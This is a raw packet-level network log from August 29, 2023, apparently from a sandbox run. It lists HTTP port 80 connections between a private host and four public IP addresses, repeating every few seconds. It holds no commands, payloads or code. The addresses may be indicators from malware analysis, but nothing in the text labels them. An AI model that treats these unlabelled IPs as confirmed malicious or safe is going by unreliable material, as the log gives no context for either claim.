Aug 29, 2023 22:44:53.389950991 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.390007973 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.390016079 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.390207052 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.390398979 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.390456915 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.390511990 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.390564919 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.390607119 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.390618086 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.390676022 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.390707970 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.390841961 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:54.456103086 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.471730947 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.646919012 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.647232056 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.647773981 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.647855997 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.821966887 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.822030067 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.822069883 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.822221994 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.822305918 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.822350979 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.822542906 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.822594881 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.822660923 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.822757959 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.822767019 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.822805882 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.822997093 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.823158979 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.823328972 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.996507883 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.996582985 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.996625900 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.996731043 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.996743917 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.996824026 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.996897936 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.997076988 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.997097969 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.997181892 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.997232914 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.997271061 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.997339964 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.997508049 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:55.997513056 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.997952938 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.998012066 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.998352051 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:55.998408079 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.038826942 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.171720982 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.171827078 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.171880960 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.172202110 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.172276974 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.172635078 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.286946058 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287054062 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287117958 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287173033 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287267923 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287276983 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.287337065 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287368059 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.287396908 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287475109 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287539959 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.287556887 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287662983 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.287725925 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.287906885 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.462158918 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462269068 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462349892 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462426901 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462485075 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.462495089 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462584019 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462661982 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462702036 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.462728024 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462805986 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462841988 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.462907076 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.462910891 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.463007927 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.463093042 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.463171959 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.463170052 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.463238955 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.463320971 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.463325977 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.463399887 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.463460922 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.463465929 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.463526011 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.463565111 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.463674068 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:56.463711023 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.463778973 CEST	80	49991	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:56.464004040 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:57.158607960 CEST	49991	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.174321890 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.348892927 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.349169016 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.349227905 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.523686886 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616163969 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616259098 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616338968 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616420984 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616477966 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616530895 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616585016 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616599083 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.616600037 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.616640091 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616697073 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616750002 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.616983891 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.616985083 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.617165089 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.790971994 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791064024 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791122913 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791179895 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791265965 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791343927 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791444063 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791474104 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.791474104 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.791541100 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.791547060 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791626930 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791687012 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791747093 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791812897 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791851044 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.791894913 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.791902065 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.791976929 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.792068005 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.792082071 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.792150974 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.792292118 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.792325020 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.792361975 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.792478085 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.792706013 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.792774916 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:58.792828083 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.793066025 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.793118954 CEST	49992	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:58.968035936 CEST	80	49992	162.0.239.145	192.168.11.20
Aug 29, 2023 22:45:23.741975069 CEST	49996	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:23.838907957 CEST	80	49996	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:23.839098930 CEST	49996	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:23.839293957 CEST	49996	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:23.936084032 CEST	80	49996	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:23.936188936 CEST	80	49996	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:23.936414003 CEST	80	49996	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:23.936587095 CEST	49996	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:25.339940071 CEST	49996	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:26.355607033 CEST	49997	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:26.450896978 CEST	80	49997	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:26.451323032 CEST	49997	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:26.451440096 CEST	49997	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:26.546608925 CEST	80	49997	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:26.546717882 CEST	80	49997	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:26.546765089 CEST	80	49997	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:26.547024965 CEST	49997	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:27.964386940 CEST	49997	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:28.980148077 CEST	49998	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:29.075946093 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.076283932 CEST	49998	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:29.076905966 CEST	49998	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:29.172770023 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.172857046 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.172930956 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.172981024 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.172988892 CEST	49998	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:29.173094988 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.173177958 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.173238039 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.173279047 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.173325062 CEST	49998	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:29.173327923 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.173397064 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.269330978 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.269398928 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.269443989 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.269484043 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.269520998 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:29.269560099 CEST	80	49998	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:31.604435921 CEST	49999	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:31.699170113 CEST	80	49999	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:31.699405909 CEST	49999	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:31.699498892 CEST	49999	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:31.794199944 CEST	80	49999	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:31.794289112 CEST	80	49999	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:31.794337034 CEST	80	49999	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:31.794783115 CEST	49999	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:31.794841051 CEST	49999	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:45:31.889574051 CEST	80	49999	51.79.96.115	192.168.11.20
Aug 29, 2023 22:45:36.832353115 CEST	50000	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:36.841908932 CEST	80	50000	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:36.842206955 CEST	50000	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:36.842367887 CEST	50000	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:36.851867914 CEST	80	50000	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:37.028433084 CEST	80	50000	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:37.028497934 CEST	80	50000	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:37.028604031 CEST	80	50000	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:37.028676033 CEST	50000	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:37.028740883 CEST	50000	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:38.352792025 CEST	50000	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:39.368505955 CEST	50001	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:39.378453970 CEST	80	50001	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:39.378731012 CEST	50001	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:39.379005909 CEST	50001	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:39.388711929 CEST	80	50001	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:39.475594997 CEST	80	50001	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:39.475667000 CEST	80	50001	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:39.475919008 CEST	50001	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:40.883301973 CEST	50001	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.899107933 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.909136057 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.909303904 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.909948111 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.919918060 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920000076 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920120001 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.920175076 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920248985 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920295000 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920327902 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.920350075 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920394897 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920443058 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920488119 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920499086 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.920533895 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.920675039 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.920788050 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.930329084 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.930411100 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.930495024 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.930542946 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.930586100 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.930633068 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.930653095 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.930787086 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.930888891 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.930947065 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.930959940 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.931005955 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.931052923 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.931098938 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.931144953 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.931294918 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.931298018 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:41.931341887 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.931422949 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.931492090 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.931538105 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.940932989 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.941266060 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.941334009 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.941380024 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.941725016 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.941795111 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.941842079 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.942045927 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.942101955 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.942146063 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:41.942200899 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:42.008912086 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:42.008986950 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:42.009040117 CEST	80	50002	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:42.009223938 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:42.009223938 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:43.414102077 CEST	50002	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:44.430027008 CEST	50003	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:44.440063953 CEST	80	50003	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:44.440448999 CEST	50003	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:44.440602064 CEST	50003	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:44.450418949 CEST	80	50003	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:44.537528992 CEST	80	50003	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:44.537601948 CEST	80	50003	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:44.537986994 CEST	50003	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:44.538199902 CEST	50003	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:45:44.548099995 CEST	80	50003	169.150.247.39	192.168.11.20
Aug 29, 2023 22:45:49.642312050 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.686331987 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.686882019 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.687566042 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.731446981 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.732836962 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.732913971 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.732975006 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.733028889 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.733083010 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.733135939 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.733189106 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.733194113 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.733194113 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.733246088 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.733300924 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.733355999 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.733360052 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.733516932 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.733581066 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.777256966 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.777546883 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.777633905 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.777690887 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.777749062 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.777806044 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.777862072 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.777865887 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.777929068 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.777942896 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.777986050 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.777992964 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.778039932 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778098106 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778152943 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778198004 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.778208017 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778247118 CEST	50004	80	192.168.11.20	91.189.114.27
